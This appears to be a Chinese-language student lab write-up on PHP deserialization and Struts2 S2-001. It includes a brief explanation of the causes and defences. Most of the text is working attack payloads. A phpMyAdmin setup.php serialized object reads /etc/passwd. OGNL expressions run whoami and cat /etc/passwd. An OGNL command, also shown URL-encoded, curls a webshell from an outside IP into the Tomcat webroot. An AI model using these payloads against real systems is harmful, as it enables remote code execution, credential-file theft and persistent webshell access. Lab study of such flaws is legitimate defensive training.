php反序列化漏洞的漏洞原理,如何防御此漏洞?如何利用此漏洞?
原理:
未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果
防御:
- 进行签名与认证,避免应用接受黑客的异常输入
- 限制序列化与反序列化的类,避免接受任何处理类型
- RASP检测,判断应用是否执行了非应用本身的逻辑
利用:
- 通过该漏洞,可以在内容中嵌入执行自定义命令的代码,获取服务器的权限
- 可以构造其他,导致耗尽服务器的CPU,停止服务
- 可以获得途径
2、http://159.75.16.25:8066 phpmyadmin scripts/setup.php 反序列化漏洞
http://159.75.16.25:8065 复现S2-001远程代码执行漏洞
复现漏洞要求:(1)操作步骤配截图。
(2)并尝试使用S2-001远程代码执行漏洞进行挂马操作 。
(3)在linux中/etc/passwd和/etc/shadow这两个文件分别存储什么内容?如果一旦攻击者获取到这两个文件可以做什么?
漏洞背景:PhpMyAdmin 2.x 版本中存在一系列反序列化漏洞,通过该漏洞,攻击者可以读取任意文件或执行代码。
漏洞复现:启动环境,可以看到phpmyadmin的首页,因为没有连接数据库,所以会进行页面报错。
http://159.75.16.25:8066 phpmyadmin scripts/setup.php 反序列化漏洞
- 打开该url,出现phpmyadmin首页。
之后打开scripts/setup.php:
- 打开终端进行攻击:
使用burusuite进行抓包,打开火狐代理,将抓到的包部分数据改为:
POST /scripts/setup.php HTTP/1.1
Host: 10.40.189.19:8080
之后点击go,即可得到下图内容
- 返回网页,也可得到关于root passwd的相关内容,复现完成。
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
http://159.75.16.25:8065 复现S2-001远程代码执行漏洞
漏洞简介:
该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行
- 在输入框中输入%{1+2},发现被解析成了3,说明在此处存在漏洞。
- 输入以下命令获取tomcat绝对路径:
%{"tomcatDir{"+@java.lang.System@getProperty("user.dir")+"}"}
得到tomcat的绝对路径:
tomcatDir{/usr/local/tomcat}
- 输入以下命令获取web路径:
%{
#req=@org.apache.struts2.ServletActionContext@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath('/')),
#response.flush(),
#response.close()
}
得到web路径为:/usr/local/tomcat/webapps/ROOT/
- 输入以下命令查看当前权限:
%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }
返回为root
- 对web路径命令进行修改:
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
之后将修改后的命令输入到password中:
复现完成。
挂马:
- 在此页面使用burpsuite抓包,
- 需要使用到burpsuite进行抓包
挂马命令如下:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"curl","-o","/usr/local/tomcat/webapps/ROOT/shell.jsp","http://106.52.39.144:82/shell.jpg"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
在火狐浏览器中将该挂马冰凌进行url编码:
%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22curl%22%2C%22-o%22%2C%22%2Fusr%2Flocal%2Ftomcat%2Fwebapps%2FROOT%2Fshell.jsp%22%2C%22http%3A%2F%2F106.52.39.144%3A82%2Fshell.jpg%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D
将抓到的包的password改为该编码后的内容:
在burpsuite中:
之后点击forword放包,浏览器页面显示为:
之后连接
- 连接成功后可以进行数据库管理和文件管等操作,则挂马成功
3、如何能看出一个网站用了struts2框架?并简述S2-001远程代码执行漏洞原理
看网站链接url里面的内容,如果是XXX.action结尾或直接XXX?参数1=XXX,应该就是用了stuts2框架。
原理:
因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。